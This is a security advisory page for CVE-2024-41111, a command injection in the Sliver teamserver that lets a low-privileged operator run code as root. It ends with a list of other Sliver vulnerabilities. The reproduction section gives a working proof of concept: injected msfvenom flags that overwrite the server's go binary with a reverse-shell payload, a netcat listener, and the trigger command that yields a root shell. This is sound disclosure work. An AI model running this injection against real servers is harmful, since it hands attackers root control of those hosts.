CVE-2024-41111: Sliver Allows Authenticated Operator-to-Server Remote Code Execution
Description Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. Impact As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all…
Published Jul 18, 2024 · Updated Aug 2, 2024
Affected packages
github.com/bishopfox/sliver
- Ecosystem
- Go
- Affected
- >= 1.5.40, <= 1.6.0-dev
- Fixed in
- 1.6.0
- Check
go list -m github.com/bishopfox/sliver
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.
Impact
As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.
Reproduction
First configure the Sliver server in multiplayer mode and add an operator profile.
Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.
git checkout 5016fb8d
VERSION=1.6.0 make clientThe latest server version is targeted:
All hackers gain exalted
[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba
[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57
[*] Welcome to the sliver shell, please type 'help' for options`The exploit uses a command injection in the generate msf-stager to inject the --out flag to msfvenom. We overwrite Sliver's own go binary at /root/.sliver/go/bin/go:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go
[*] Sliver implant stager saved to: [...]The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.
If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.
On the attacking machine, setup a netcat shell:
$ nc -lvp 8888
Listening on 0.0.0.0 8888Trigger the stager by running a command which executes /root/.sliver/go/bin/go:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
⠼ Compiling, please wait ...A root shell will pop:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
rootThe vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281
Credited to hyperreality.
References
- https://github.com/BishopFox/sliver/security/advisories/GHSA-hc5w-gxxr-w8x8
- https://github.com/BishopFox/sliver/pull/1281
- https://github.com/BishopFox/sliver/commit/0deaee625d14c6f05f63c86e5c3b7ae623a1138f
- https://nvd.nist.gov/vuln/detail/CVE-2024-41111
- https://github.com/BishopFox/sliver/issues/65
- https://github.com/BishopFox/sliver/commit/5016fb8d7cdff38c79e22e8293e58300f8d3bd57
- https://sliver.sh/docs?name=Multi-player+Mode
- https://github.com/BishopFox/sliver/commit/d8ff64222dc69d931197d0bbae3fba11dbe17533
- https://github.com/advisories/GHSA-hc5w-gxxr-w8x8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-34227
Sliver One-Click Remote Access: Insecure CORS & Unauthenticated MCP Interface
medium5.9Mar 31, 2026GHSA-c279-989m-238f
Sliver: Nil Pointer Dereference in tunnelCloseHandler causes panic when a reverse tunnel (rportfwd) close is attempted
high7.1No fixMar 29, 2026CVE-2026-32941
Sliver Vulnerable to Authenticated OOM via Memory Exhaustion in mTLS/WireGuard Transports
medium5.7No fixMar 17, 2026CVE-2026-29781
Sliver is Vulnerable to Authenticated Nil-Pointer Dereference through its Handlers
low2.1No fixMar 5, 2026CVE-2026-25791
Sliver has DNS C2 OTP Bypass that Allows Unauthenticated Session Flooding and Denial of Service
high7.5Feb 6, 2026CVE-2026-25760
Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)
medium6.5Feb 5, 2026
